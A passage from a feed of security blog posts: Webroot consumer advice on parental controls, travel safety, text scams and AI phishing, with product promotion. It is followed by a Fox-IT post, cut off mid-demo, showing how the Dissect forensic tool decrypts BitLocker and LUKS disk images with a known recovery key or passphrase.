✅ Review parental control settings: Review parental control settings on all devices and adjust as needed.
 
Elementary (6-10 years)

This week:

✅ Set up strict parental controls: Make managing screen time and content access on all devices easy with Webroot Parental Controls. Whether your kids are playing Minecraft or chatting on Discord, it’s an easy way to keep them safe while giving them space. It even lets you tailor different levels of protection according to their ages.

✅ Create a “safe list”: Make a list of parent-approved websites and apps for your kids.

✅ Establish device-free homework zones and times: Create a digital detox zone in your home to disengage from all things digital – no texting, email or social media allowed!

✅ Practice the “ask first” rule: Teach your kids to ask a parent before accessing any new downloads or websites

Ongoing:

✅ Monitor all online activity: Always be aware of the games, apps and sites your child uses and anyone they are communicating with.

✅ Keep devices in common areas: Limit online activity to spaces in your home where it’s easy to keep an eye on what your kids are doing.

✅ Teach basic online “stranger danger”: Stranger danger is just as important for online interactions as it is for in-person encounters. Be sure your child knows the basics to keep them safe in all situations.
 
Middle school (11-13 years)

This week:

✅ Set up password manager and teach them to use it: Strong, unique passwords are a simple, yet powerful security tool. Webroot solutions include password managers that store your credentials and credit card information and automatically fill in login information for you. Start using Webroot’s password manager with your kids and teach them how easy it is to generate secure passwords.

✅ Configure social media privacy settings: Work together with your kids to create safe social media settings.

✅ Establish screen time limits: Create screen time limits and stick to consequences if the agreement is broken.

✅ Create a family media agreement with clear rules: Create a media-use contract together and be sure to include screen time, study time, and mental health breaks.

Ongoing:

✅ Check-in regularly about online experiences: Establish a monthly check-in to discuss what they’re seeing and experiencing online.

✅ Monitor friend lists and follower requests: Regularly check on and manage new friend and follower requests for your children. Instill in your children to not accept friend requests from anyone they do not know IRL.

✅ Discuss oversharing risks: Remind your kids to not share  locations, school names, and other personal details on social media.
 
High school (14-18 Years)

This week:

✅ Transition to collaborative security: Work together with your teens to create a security plan. Discuss the need for a digital safety strategy in a matter-of-fact way, just as you’d discuss the need for driving safety rules. Review the need for password security and remind them how important it is that they never share their passwords with anyone but their parents or caregivers.

✅ Discuss the impact of their digital footprint: Remind your kids that their current digital lives can have an impact on their future. Explain how social media profiles, postings, and other content can affect college applications and job opportunities and their safety.

✅ Set up two-factor authentication: Establish and enforce two-factor authentication (2FA) on all important accounts, such as email, banking and even social media.

✅ Review gaming and social media privacy settings: Gaming apps are often automatically set to share personal information. Work with your teen to review and adjust settings.
 
Ongoing:

✅ Monthly “digital wellness” conversations: Make sure to check in with your teens on the emotional effects of their online habits.

✅ Discuss academic integrity: Talk about AI cheating, online ethics, and responsible use. Set boundaries about using AI tools for schoolwork.

✅ Address dating app safety and sextortion risks: No matter how uncomfortable it may be, be straightforward with your kids about the risks of sexting. Be sure they understand that any sexual messages or images they share digitally can live forever. Even on a platform like Snapchat, where images are supposed to be temporary, someone can screenshot, save and share messages and images with others. Just one text to the wrong person could have deeply painful and humiliating consequences.

Conversation starters that work

Starting conversations about online safety with your kids isn’t always easy, but with the right approach, you can help them build digital confidence and awareness.

For elementary kids:

  • “Let’s be internet detectives today! Can you help me spot what’s real and what’s fake in these emails?”
  • “Your computer is like your house – we need to lock the doors. Let me show you how.”

For middle schoolers:

  • “I saw this news story about a kid your age who had their account hacked. Want to check if yours is secure?”
  • “What would you do if someone online asked you to keep a secret from me?”

For high schoolers:

  • “I’m not trying to spy on you, but I do want to make sure you know how to protect yourself online. Can we talk about what you’ve been seeing?”
  • “Have you ever gotten a message or email that made you suspicious or uncomfortable? What did you do?”

Webroot offers real-time protection to keep your family safe online without slowing down devices during homework time. With coverage for multiple devices, including phones, tablets, and computers, it’s easy to protect every member of your household.

Cybersecurity doesn’t go on summer break, so take an hour this weekend to complete the checklist and strengthen your family’s digital defenses before the first bell rings. With Webroot’s powerful tools, you’ll get year-round protection, so you can focus on having a safe, smart, and cyber-savvy school year!

Additional resources:

The post Back-to-school cyber safety: Parent checklist appeared first on Webroot Blog.

Tips to make your summer travels cyber safe

17 June 2025 at 15:51

Ready, set, pack! Summer travel season is here and that means family road trips, beach vacations, international adventures and more. While summertime is prime time for getaways, did you know it’s also prime time for online fraud? Scammers are targeting the travel industry, putting millions of travelers at increased risk. Research shows that the travel and tourism sector ranked third in cyberattacks, with nearly 31% of hospitality organizations experiencing a data breach and a record 340 million people affected by cybercrimes. According to Mastercard, travel-related fraud in 2024 increased by 18% during the summer peak season and 28% in the winter peak season. 

Why travelers are prime targets

Being in an unfamiliar environment can put your personal information at risk if you’re relying on public Wi-Fi networks, using shared devices, and carrying valuable personal and business data on mobile devices. Let’s be honest, when you go into “vacation mode” and start relaxing, it’s only natural that you might also start letting your guard down. Even the best trips can have stressful moments, and when you miss a flight or get lost in a new destination, it’s easy to become less vigilant about protecting your cybersecurity. This is especially true when you travel to foreign countries. In fact, 90% of international travelers admit to risky tech practices while abroad. Fewer than 1 in 3 travelers (31%) protect their data with a virtual private network (VPN) when traveling internationally.

What to know before you go

Believe it or not, the risks to your data security start long before your vacation begins. As soon as you start booking your trip, the cybercriminals start circling. Fraud rates in sectors associated with the early stages of trip planning increased more than 12% between 2023 and 2024. At a time when inflation and economic pressures are on the rise, people are looking for deep discounts, and scammers are seizing the opportunity to steal your private data and your money.

  • Fake travel websites and rental listings: When you find a killer price on a luxury cruise, a European tour or an oceanfront Airbnb, take another look before you book! Scammers use phony offers, manipulated destination photos, and fake confirmation links to lure victims into “purchasing” great travel deals. Always double check and confirm you’re dealing with a legitimate website or listing before you hand over any credit card information.
  • Phishing scams: Phishing scams that target travel-related platforms are on the rise. Cybercriminals pose as legitimate organizations and use fake emails, text messages and phone calls to lure you into giving up financial information. These messages often ask you to click on links that embed malicious software onto your device and steal your sensitive data. In 2024, the travel website booking.com reported a 500%-900% increase in travel-related phishing scams. This rise was attributed to the large number of scams using AI, making it easier for criminals to mimic trusted sources. If you get a suspicious message, call the company or go to their website and log in directly before clicking on any links.
  • Loyalty fraud: Loyalty fraud, also known as points fraud, happens when scammers steal points or personal information from a loyalty program. The travel industry is especially vulnerable to this type of attack because so many travel-related companies, including travel agents, cruise lines, airlines and hotels, offer points programs for frequent travelers. Thieves often access loyalty accounts with credentials stolen in a data breach. Be sure to create strong passwords for your accounts and check your balances regularly.

Pre-trip security

Before you hit the road, help protect your digital data and devices with a few simple security practices.

  • Alert your financial institutions: Only about half of travelers (52%) alert their financial institutions before traveling abroad, but it’s a powerful way to fight cybercrime. When banks and credit card companies know your travel plans, it’s much easier for them to flag any suspicious transactions.
  • Turn off your Bluetooth:  Bluetooth technology automatically creates wireless connections and can give cybercriminals the ability to see what apps and websites you’re logged into. Only 44% of travelers say they make sure to turn off their Bluetooth signal, but it’s a simple way to thwart hackers. It’s also a good idea to turn off device sharing features and update your passwords before a trip.
  • Update your Wi-Fi setting: Joining unknown Wi-Fi networks is very risky and can open up your personal data to hackers. Since public Wi-Fi often has weak security,  it’s important that your phone doesn’t connect to unsecured networks automatically. Make sure to go into your phone settings and disable auto-join for unknown Wi-Fi networks. It’s a simple way to add a layer of protection when you travel.
  • Use “Find My Device” features: Enable the tracking features on your devices that can locate them if they’re lost or stolen – Find My device for iOS and Find Hub for Android.

Cybersecurity travel risks

  • Rental cars: Did you know that the simple act of syncing your phone to your rental car’s infotainment system can expose your sensitive information to cybercrime? Your phone contains all kinds of information that hackers can use, including contacts, text messages, passwords and more. Infotainment systems store your information each time you connect, and it stays there unless you manually delete it. Security experts say while 57% of people sync their phones to rental cars, only half of them take steps to remove their information. Always remember to delete your profile and data from your rental car before returning it!
  • Screen snoopers: Be cautious of screen snoopers (aka shoulder surfers) who try to see the activity on your laptop or phone in public places like planes, airports, and restaurants. To prevent hackers from stealing your passwords and other private information, use privacy screen protectors to shield your screens from prying eyes and always stay aware of your surroundings.
  • Airport and hotel Wi-Fi:  Always be wary of public Wi-Fi networks when you’re on the road. They’re often unprotected and can make it easy for cybercriminals to intercept your data. Poor Wi-Fi security at airports and hotels can allow hackers to swipe your credentials, lock you out of accounts, and even demand a ransom for your stolen data. To ensure safety while online on public WIFI, purchase a VPN for your devices, like Webroot’s Secure VPN.
  • Fake hotspot attacks: Fraudsters often set up fake hotspots to steal your information. Sometimes they alter the name of a genuine hotspot slightly (Starbucks-Coffee instead of StarbucksCoffee) to trick you into connecting. Always double-check the full network name before logging on to a public hotspot. Also, check to see if the site is using encryption. Legitimate sites that begin with “https” protect your information and make it unreadable to hackers.
  • Charging stations: Public charging stations are super convenient when you’re running low on battery, but they can also pose security risks. Cybercriminals can install malicious software on these stations to steal your device’s data, a tactic known as juice jacking. Always avoid plugging directly into public charging stations and play it safe by packing your own wall chargers, car chargers and external batteries when you travel.
  • Business centers and airport Lounges: Business Centers and lounges typically provide desktop computers for simple tasks like checking emails or printing boarding passes. While convenient, these public computers may be risky, as attackers can plant malware or install hardware that records your keystrokes. When traveling, use your personal devices whenever possible.

Travel safety best practices

  • Use Wi-Fi networks safely: Always connect using the public Wi-Fi setting, and do not enable auto-reconnect. Always confirm an HTTPS connection when browsing the internet. Avoid accessing websites that require you to supply personal data, such as social security numbers.
  • Avoid financial sites: Refrain from checking your personal banking apps or financial information over public Wi-Fi.
  • Use VPN protection: A VPN encrypts your internet connection, providing a secure channel for your data. Webroot Secure VPN gives you security and peace of mind by protecting your personal information when you’re on public Wi-Fi.
  • Enable two-factor authentication: Use Two-factor Authentication (TFA) on your gadgets and electronic devices. Adding an extra layer of security to your accounts can prevent unauthorized access.
  • Limit public posts about your location: Avoid sharing specific details about your location and travel plans on social media to prevent potential targeting by scammers.
  • Check mobile device settings: Adjust the screen settings on your devices to allow for a shorter automatic sleep feature. Implement screen locks, biometric security, and privacy settings for location services.
  • Bring portable chargers: Avoid using public charging stations by bringing your own power sources.
  • Install comprehensive security software: Use antivirus solutions to safeguard you from online threats, including bank fraud and identity theft. Webroot Total Protection offers comprehensive security, including real-time threat detection and response, automatic updates, and cloud backup. Other features include Wi-Fi security monitoring, secure browsing, and password management.

No matter what your summer destination, make cybersecurity part of your travel plans. From securing your Wi-Fi connection and turning off Bluetooth to enabling two-factor authentication, small steps can make a big difference. Let Webroot keep all your digital data safe while you’re on the go. Then all you have to worry about is remembering to turn on your out-of-office reply!

Looking for more information?

Fighting Back Against Loyalty Fraud

Travel-Related Phishing

Protect Yourself Against AI Phishing Attacks

Travel Scams to Watch Out For

The post Tips to make your summer travels cyber safe appeared first on Webroot Blog.

Build strong digital defenses for your entire family

28 May 2025 at 20:37

The month of June is a time for fun in the sun and a break from the school year, but did you know it’s also the perfect time to step up your family’s online security? June is Internet Safety Month, a yearly reminder to strengthen your defenses against online threats. In today’s hyper-connected world, we use the internet for just about everything, from shopping to banking to streaming and work. That goes for your kids as well. Many of their favorite activities, including gaming and connecting with friends on social media, are connected to the internet.  While all this access means added convenience, it also means constant threats to your family’s online safety.

From phishing scams to malware, hackers are constantly looking for ways to exploit weaknesses in cybersecurity systems and software. Their goal is always the same: to get access to personal data and use it for profit. The rising numbers tell the story. In 2024, the FBI’s Internet Crime Complaint Center (IC3) received more than 850,000 cybercrime complaints, with reported losses exceeding $10.3 billion. This is partly due to the increase in data breaches. Studies show that 51% of Americans report they’ve been victims of a data breach, and 64% say they’ve changed their online behavior for fear of escalating online threats like ransomware and identity theft.

Keep summer screen time safe

It’s not just adults getting targeted online. Children and teens are increasingly exposed to scams (even extortion scams), cyberbullying, and inappropriate content—especially during summer when screen time surges. A recent Pew Research study found that 45% of teens are online almost constantly. So how do you let your kids enjoy their screens safely? Webroot Total Protection and Webroot Essentials offer parental controls that make it easy to manage your children’s online activity and content access. You can block specific websites, filter out inappropriate content and set daily limits on computer time. You can also monitor what sites your kids visit and interact with, and even tailor different levels of protection for each child. Whether your kids are watching YouTube, chatting on Discord, or gaming with friends, it’s a simple way to keep them safe without having to hover over them every time they’re online. 

Protect every device

As we spend more time on our mobile devices, cybercriminals are following suit. A recent security report shows that 70% of fraud is now carried out through mobile channels. From phones and tablets to laptops, the mobile devices your family relies on daily are brimming with personal data. Now more than ever, we need to take steps to protect ourselves and our family. Webroot Essentials provides multi-device protection with real-time threat intelligence. Whether you’re on Android, iOS, Windows or Mac, all the devices in your household are constantly safeguarded against the latest online threats.

Strengthen your password security

Are you still using passwords like your dog’s name and 123? And what about your kids? Chances are their Roblox passwords aren’t as tough to hack as they should be. If there’s one weak link in most people’s security, it’s their passwords. Cybercriminals know that, and they’re taking full advantage. In fact, the 2025 Verizon Data Breach Investigations Report found 81% of data breaches were caused by compromised passwords. Here are some tips to keep all your family’s passwords secure.

  • Make it complicated: It’s important to create long and complex passwords and avoid using anything that’s easy to guess. That means no “Password” or “123456”. It also means no pet names or kid’s names, since hackers can often find those details on social media.
  •  Don’t recycle: Never use the same login for more than one account. It may be easier to remember, but if your username and password for one account are exposed in a data breach, hackers can use them to try and break into all your other accounts.
  • Use a password manager: Let a password manager save you some headaches by doing the hard work for you. Webroot solutions include password managers that store credentials and credit card information and automatically fill in login information, so the whole family can stay secure without having to remember every login. Be careful storing your credit card information on shared devices. You don’t want a shipment of 70,000 lollipops at your door.

Defend against social engineering scams

It’s important to stay aware of the latest online threats. Social engineering scams are designed to gain your trust and then trick you into sharing sensitive details by clicking on fake links or downloading malicious software. The most common type of social engineering is phishing. In a phishing attack, hackers pretend to be someone you trust and use fraudulent emails, texts and websites to try and steal personal information.

Scammers often use phishing to target children. They pose as friends, influencers, or game platforms to trick them into clicking fake links and handing over details like credit card numbers. These scams often start with an offer of an exciting reward or a prize. Take some time to talk with your kids about these common scams.

  • Fake game reward scams: Kids are offered free in-game currency on a popular platform like Fortnite, then asked to click phony links and provide sensitive details. It’s important to remind your children to redeem rewards through official game platforms only and never enter login or payment information into random pop-ups or suspicious links.
  • Social media impersonation scams: Scammers create fake social media profiles to pose as a friend, classmate, or influencer, and use stolen photos or AI-generated content to build seemingly legitimate profiles. The goal is to trick kids into clicking dangerous links or downloading malware. Make sure your children know that even if someone looks familiar, they may not be who they say they are.
  • Friendship and romance scams: A scammer builds an emotional connection with a child, then starts asking for sensitive info like Social Security numbers, photos, or money. Remind your kids that if someone won’t use video chat or meet in person, they’re probably not legitimate. Also remind your children, adding people to your social media friends group
  • Influencer giveaway scams: Fake influencer accounts host phony contests and message “winners” asking for a fee or bank account details. Remind your kids that they should only follow verified social media accounts, and that a real contest won’t ask them to pay to redeem a prize.

Secure your home network

Home security means more than just deadbolts and alarms. With smart TVs, video doorbells, and wireless thermostats, our homes are more connected than ever. While all these Internet of Things (IoT) devices making our lives more convenient, each one is a potential entry point for hackers. Webroot Secure VPN provides encrypted connections for safe browsing at home. When your family is on the go, it protects your online privacy on unsecured networks and shields your personal information from cyberthieves.

Internet safety checklist

  • Update all your operating systems and applications to the latest versions – make sure to do the same for your kids.
  • Enable automatic updates for software and security for the entire family.
  • Run a full system scan to detect any existing malware on all devices in your household.
  • Enable multi-factor authentication on all critical accounts.
  • Create unique passwords for each online account.
  • Change passwords for your family’s most important accounts often, such as banking, email, and social media.
  • Review settings on all social media accounts and make sure all kids’ profiles are private.
  • Check app permissions, especially on your kids’ devices.
  • Clear all browser cookies and caches monthly.
  • Be cautious with suspicious links or unknown senders. Be sure the whole family knows to verify sender addresses before responding to requests for information or clicking any links.
  • Consider comprehensive online security with Webroot Total Protection, which includes antivirus and identity protection, unlimited cloud backup, and up to $1 million in identity theft expense reimbursement. Get protection for up to ten devices and peace of mind that your family’s digital lives are secure.

Cybercriminals never take a break and neither should you. Internet Safety Month is the perfect opportunity to step up the digital safety of your entire household. And remember – online security isn’t just an annual event. Your sensitive data deserves year-round protection, and you can get it with family-friendly solutions from Webroot. Don’t wait for a data breach or other disaster to take action. Keep your kids safe and your data secure by strengthening your digital defenses today!

Looking for more information?

Avoiding Scams that Target Kids and Teens

Protecting Young Online Gamers

How Americans View Data Privacy

Social Security Numbers and Identity Theft

Protect Yourself from AI-Enabled Phishing

Common Types of Phishing Attacks

Why Use a Password Manager?

Defending Your Digital Identity from Evolving Threats

The post Build strong digital defenses for your entire family appeared first on Webroot Blog.

Mobile security matters: Protecting your phone from text scams

9 May 2025 at 17:13

It all starts so innocently. You get a text saying “Your package couldn’t be delivered. Click here to reschedule.”  Little do you know, clicking that link could open the door for scammers to steal your identity, empty your bank account, or even plant malicious software (malware) on your device. Unless you know what to look out for, one little tap on the wrong text could cost you money and peace of mind.

Text scams, also known as smishing (SMS + phishing), are on the rise. These fraudulent  messages are sent by cybercriminals and are showing up more often and getting harder to spot. The goal is to get you to give up sensitive personal details that can be used to hack into your accounts, and they are alarmingly successful. The Federal Trade Commission reports that in 2024, consumers lost $470 million to scams that started with text messages.

Watch out for these common scams

Package delivery alerts

Package delivery alerts are the most common text scam. They often impersonate trusted delivery services like UPS, FedEx, and USPS. They claim there’s a delivery problem, then try to trick you into acting quickly by creating a sense of urgency. Because so many of us shop online and have packages delivered regularly, this is a scam that’s easy to fall for. Instead of clicking a link in a suspicious text, go directly to the delivery service’s website and enter your tracking number manually.

Tip: Messages like “Click now to avoid fees” are a red flag that you should make you think twice.

Screenshot of mobile phone screen displaying an example of a package delivery scam.
Photo credit: TextMagic

Unpaid toll alerts

These scams claim you have an overdue toll charge and demand that you click a link to make a payment or you’ll be hit with late charges. Don’t do it! These scammers are trying to gather personal data like your driver’s license number and credit card information so they can steal from you. Remember, fake texts are often sent from phone numbers or email addresses you do not recognize, so never click on a link sent from an unknown number.

Mobile phone screen displaying example of a text scam involving a toll violation.

Bank account alerts

These scams look like they’re from your bank and claim there’s an issue with your funds.  You’re asked for sensitive information like bank logins and passwords, which can be used to drain your bank account. They direct you to click a fake link or call a phony number to resolve it.

Tip: Most major banks, including Chase, Wells Fargo and Bank of America, will never ask for personal or account information via text.

Mobile phone screen with an example of a text scam.
Photo credit: Wells Fargo

Wrong number texts

Wrong number texts are designed to seem like a legitimate accident. They start with a simple text like “Hi Mary, are we still on for Thursday?” and you respond “Sorry, wrong number.” The unknown person then tries to start up a friendly conversation, with the goal of establishing a connection and sometimes even cultivating a romantic relationship. It’s common for these cybercriminals to try and con you into a fraudulent investment like a cryptocurrency scam.

Text showing an example of a text scam involving a fake wrong number.

Task scams

Task scams are fake job opportunities. You get a text promising online work with lucrative pay and flexibility. The offer may entail fun tasks like getting paid to shop, but the purpose is to lure you into sharing personal information like your social security number, which can be used to steal your identity. As always, if something sounds too good to be true, it probably is.

Text showing an example of a text scam involving a fake job recruiter.

Prize or gift card scams

It’s easy to feel lucky if you get a text claiming you’ve won a prize, a gift card or other type of reward. Sadly, many people fall for this type of fraud. These messages appear to be from legitimate retailers like Amazon, Walmart or Target. They say things like “You’ve been selected for a $100 gift card!” and tell you to click a link to claim your prize. These scams often work because they generate a sense of excitement and urgency, but they’re just another way to trick you into clicking and entering personal or payment information. In reality, there’s no prize – just a phishing site or malware ready to steal your data.

Screenshot of mobile phone screen displaying an example of a fake prize win.
Photo credit: TextMagic

Mobile security checklist

Most of us use our phones for everything – banking, shopping, messaging, and storing personal information. That makes them a treasure trove of sensitive data and a high-value target for cyberthieves. Here are some tips to help you strengthen your mobile security against text scams and other types of fraud.

  • Don’t click: If you get a text from an unknown sender, do not click on any links. Reach out to the company using a confirmed phone number or website to check if it’s a legitimate message.
  • Don’t share: Never share any of your personal or financial information via text. Remember that if someone is asking you to do this, they’re most likely a scammer.
  • Fight the fear: Be wary about responding to a text that sounds urgent or threatening. Scammers love to take advantage by creating a sense of fear.
  • Stay updated: By keeping your phone’s software up to date, you’ll always have the latest security patches. This is an important tool for protecting against viruses and other malware.
  • Stay vigilant: If something seems too good to be true, it likely is. You probably haven’t won that latest iPhone, especially if you don’t remember entering a contest. Always take a moment to think critically before acting.
  • Use strong passwords: Long, complex and unique passwords are a cornerstone of mobile security. Webroot solutions include password managers that help you stay safe while simplifying your life.
  • Enable two-factor authentication (2FA): Use two-factor authentication on your accounts, especially for banking and email.
  • Scan regularly: Scan your device on a regular basis with trusted security software. Whether you’re using Android or iOS, Webroot Mobile Security offers automatic scanning of apps and updates, as well as real-time protection against phishing and malicious websites.
  • Use a VPN: Consider usinga VPN (Virtual Private Network) to protect your personal information when you’re on public Wi-Fi. Webroot Secure VPN provides safe browsing and online transactions for enhanced privacy and data security.

Text scams are a sneaky way for hackers to get access on your private data, but you don’t have to fall prey to them. By staying alert to the subtle signs of text scams and arming yourself with the security of Webroot, you can stay safe from the latest mobile threats. Browse, shop, and bank with confidence, knowing that your phone — and everything on it — is protected.

Introducing Text Scams Detection on Webroot Mobile Security for Android!

Stay one step ahead of scammers with Webroot’s latest feature: Text Scams Detection. Our advanced technology scans incoming text messages for suspicious links and fraudulent content, protecting you from phishing attempts and malicious schemes like fake delivery tracking links or fraudulent bank notifications. With real-time alerts and flagging, you can confidently navigate your digital world without the fear of falling victim to text scams. Download Webroot Mobile Security for Android today and experience peace of mind like never before!

Explore Webroot plans or Download Mobile Security for Android now from My Account.

Looking for more information and solutions?

Top Text Scams

The Strategy Behind Phishing Texts

How to Spot and Report Text Scams

Putting a Stop to Spam Texts

Protect Yourself from Text Scams

The Value of a VPN

Protecting Your Digital Life

The post Mobile security matters: Protecting your phone from text scams appeared first on Webroot Blog.

AI-enabled phishing attacks on consumers: How to detect and protect

5 May 2025 at 17:39

Phishing attacks are a significant threat to consumers, with cybercriminals constantly evolving their tactics to deceive unsuspecting individuals. The integration of artificial intelligence (AI) into phishing schemes has made these attacks even more sophisticated and challenging to detect.

AI-enabled phishing attacks seriously threaten consumers and their data. The volume of these attacks is staggering with an estimated 3.4 billion spam emails sent daily. The financial impact of phishing attacks amount to over $52 million so far in 2025. The threat of AI phishing attacks is pervasive, so let’s get prepared. Find out how AI enhances phishing attacks on consumers and how you can learn to identify and protect yourself.

How AI enhances phishing attacks

1. Personalized phishing 

AI algorithms can analyze vast amounts of data from social media, public records, and other online sources to create highly personalized phishing messages. By understanding the target’s interests, behaviors, and communication patterns, AI can craft messages that appear more legitimate and relevant, increasing the likelihood of the target falling for the scam.

For example, you receive a text message from your bank using your name and asking you to authorize a recent purchase that happens to be from Amazon or another retailer you frequent. To authorize the purchase, you need to click an obfuscated link that  will bring you to a fake website that mimics your bank’s website. When you enter your information, it will be stolen.  

2. Automated phishing campaigns

AI can automate the process of creating and sending phishing emails, allowing cybercriminals to launch large-scale campaigns with minimal effort. Machine learning models can generate convincing email templates, select appropriate recipients, and even schedule the timing of emails to maximize their impact.

Automated phishing scams usually aren’t full of personalize data, but are targeted to an audience that will think the email was meant for them.

3. Deepfake technology

Deepfake technology, powered by AI, can create realistic audio and video content that mimics the appearance and voice of trusted individuals. This technology can be used in phishing attacks to create fake video calls or voice messages from a CEO or other authority figures, convincing employees to transfer funds or share sensitive information.

How to detect AI-enabled phishing attacks

1. Scrutinize email addresses and URLs

Always check the sender’s email address and the URLs in the email. Phishing emails often use addresses that look similar to legitimate ones, but have slight variations. Hover over links to see the actual URL before clicking. For example: info1@wellsfargo.com

2. Look for generic greetings

Phishing emails often use generic greetings like “Dear Customer” instead of your name. Legitimate companies usually personalize their communications.

3. Check for spelling and grammar errors

Many phishing emails contain spelling and grammar mistakes. While AI-generated emails are becoming more sophisticated, errors can still be a red flag.

4. Be wary of urgent or threatening language

Phishing emails often create a sense of urgency or fear to prompt immediate action. Be cautious of emails that threaten account suspension or demand immediate payment.

5. Verify unexpected attachments or links

If you receive an unexpected attachment or link, verify its legitimacy before opening it. Contact the sender through a different communication channel to confirm. Also, ensure the sender is legitimate.

6. Use multi-factor authentication (MFA)

Enable multi-factor authentication on your accounts. This adds an extra layer of security, making it more difficult for cybercriminals to gain access even if they obtain your login credentials.

Protecting against AI-enabled phishing attacks

1. Advanced email filtering

Use advanced email filtering solutions that leverage AI and machine learning to detect and block phishing emails. Google blocks about 100 million phishing emails a day.

2. Regular software updates

Keep your software and systems up to date. Regular updates often include security patches that protect against known vulnerabilities.

3. User education and awareness

Stay informed about the latest phishing tactics and educate yourself on how to recognize phishing attempts. Awareness is a crucial defense against phishing attacks.

4. Identity protection and antivirus

Invest in all-in-one protection for your identity that includes a password manager, VPN, antivirus and even dark web monitoring. Webroot’s Total Protection allows you to live your life digitally without worry.  

Stay in the know

AI-enabled phishing attacks represent a significant evolution in the tactics used by cybercriminals. As these attacks become more sophisticated, it is essential for consumers to adopt advanced security measures and stay vigilant. By leveraging AI for defense, investing in user education, we can better protect ourselves against the growing threat of AI-driven phishing attacks.

To learn more about how to protect yourself and the solutions that help keep your digital life safe, visit Webroot.

The post AI-enabled phishing attacks on consumers: How to detect and protect appeared first on Webroot Blog.

Decrypting Full Disk Encryption with Dissect

11 December 2024 at 08:30

Author: Guus Beckers

Back in 2022 Fox-IT decided to open source its proprietary incident response tooling known as Dissect. Since then it has been adopted by many different companies in their regular workflow. For those of you who are not yet familiar with Dissect, it is an incident response framework built with incident response engagements of any scale in mind. It allows you to extract artifacts from a variety of data formats and export them to a format of your choosing. Ever since Dissect has been open sourced a large number of individuals and institutions have contributed to the Dissect framework, culminating in the first Dissect partner day earlier in 2024.  

One of the most popular requests has been the capability to use Dissect in combination with common disk encryption methods like Microsoft’s BitLocker or its Linux equivalent LUKS. Internally at Fox-IT we were able to already use these capabilities. With the release of Dissect version 3.17 these capabilities are now also available to the community at large.  

Of course, a blog post is not complete without a demo. In this scenario a data acquisition has been performed against a disk protected with BitLocker. We are interested in a specific file located on the user’s desktop. During this scenario, a virtual machine was created with VMware Fusion which uses the .vmwarevm file format. Dissect can parse this format thanks to its associated loader.

First, we use Dissect to examine the disk properties:  

$ target-info "Windows 11 x64.vmwarevm" -v                                                                                                                                               
2024-11-27T11:57:18.474060Z [error    ] Failed to open an encrypted volume <Volume name='Basic data partition' size=67921509888 fs=None> with volume manager bitlocker: Failed to unlock BDE volume [dissect.target.volume] 
2024-11-27T11:57:18.634092Z [warning  ] <Target Windows 11 x64.vmwarevm>: Can't identify filesystem: <Volume name='Microsoft reserved partition' size=16776704 fs=None> [dissect.target.target] 
2024-11-27T11:57:19.416120Z [warning  ] <Target Windows 11 x64.vmwarevm>: Failed to find OS plugin, falling back to default [dissect.target.target] 
<Target Windows 11 x64.vmwarevm> 
 
 
Disks 
- <Disk type="VmdkContainer" size="68719476736"> 
 
 
Volumes 
- <Volume name="Basic data partition" size="104857088" fs="FatFilesystem"> 
- <Volume name="Microsoft reserved partition" size="16776704" fs="NoneType"> 
- <Volume name="Basic data partition" size="67921509888" fs="NoneType"> 
- <Volume name="part_fd7c00000" size="673185280" fs="NtfsFilesystem"> 
 
 
Hostname       : None 
Domain         : None 
Ips            : 
Os family      : default 
Os version     : None 
Architecture   : None 
Language       : 
Timezone       : None 
Install date   : 1970-01-01T00:00:00.000000+00:00 
Last activity  : None 

It seems the disk is encrypted, now we can use the latest version of BitLocker to decrypt the information.  Dissect supports three different types of decryption capabilities. An analyst can either use the user’s passphrase, the recovery key or can use a BitLocker file. Please check the updated documentation on the Dissect Docs page for more information.  For now we have created a keychain CSV file with the following information:  

$ cat keychain.csv 
bitlocker,recovery_key,,395791-328042-677721-279895-554466-214599-232023-709148 

We can use Dissect’s commands like target-info to check if the keychain works: 

$ target-info "Windows 11 x64.vmwarevm" -K keychain.csv                                                                                                                                     
2024-11-27T10:18:01.698079Z [warning  ] <Target Windows 11 x64.vmwarevm>: Can't identify filesystem: <Volume name='Microsoft reserved partition' size=16776704 fs=None> [dissect.target.target] 
2024-11-27T10:18:02.731474Z [warning  ] <Target Windows 11 x64.vmwarevm>: Empty hive: sysvol/windows/SECURITY [dissect.target.target] 
2024-11-27T10:18:02.737980Z [warning  ] <Target Windows 11 x64.vmwarevm>: Empty hive: sysvol/windows/SYSTEM [dissect.target.target] 
<Target Windows 11 x64.vmwarevm> 
 
 
Disks 
- <Disk type="VmdkContainer" size="68719476736"> 
 
 
Volumes 
- <Volume name="Basic data partition" size="104857088" fs="FatFilesystem"> 
- <Volume name="Microsoft reserved partition" size="16776704" fs="NoneType"> 
- <Volume name="Basic data partition" size="67921509888" fs="NoneType"> 
- <Volume name="part_fd7c00000" size="673185280" fs="NtfsFilesystem"> 
- <Volume name="Basic data partition" size="67921509888" fs="NtfsFilesystem"> 
 
 
Hostname       : SECRETDATAVM 
Domain         : None 
Ips            : 192.168.212.129 
Os family      : windows 
Os version     : Windows 11 Pro (NT 10.0) 26100.2314 
Architecture   : amd64-win64 
Language       : en_GB, en_NL, en_US 
Timezone       : Europe/Berlin 
Install date   : 2024-11-27T17:34:07.000000+00:00 
Last activity  : 2024-11-27T17:33:31.670376+00:00 

Alternatively, we can pass the recovery key value directly like this: 

$ target-info "Windows 11 x64.vmwarevm" -Kv 395791-328042-677721-279895-554466-214599-232023-709148 -v

Now we can browse through the decrypted filesystem and view the file on the user’s desktop: 

$ target-shell "Windows 11 x64.vmwarevm" -Kv 395791-328042-677721-279895-554466-214599-232023-709148 -q
                                                                                       
SECRETDATAVM:/$ cat c:/Users/Staff/Desktop/SuperSecretFile.txt 
Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.

As you can imagine this also works with Linux in the exact same manner.  This time we use a LUKS passphrase in conjunction with Dissect:

$ target-info "Ubuntu 64-bit 24.04.1.vmwarevm" -Kv glad-design-paper-airplane                                                                                                                          
2024-11-27T11:48:07.224355Z [warning  ] Failed to decode raw key as hex, ignoring: glad-design-paper-airplane [dissect.target.helpers.keychain] 
2024-11-27T11:48:08.910029Z [warning  ] <Target Ubuntu 64-bit 24.04.1.vmwarevm>: Can't identify filesystem: <Volume name='part_00100000' size=1048064 fs=None> [dissect.target.target] 
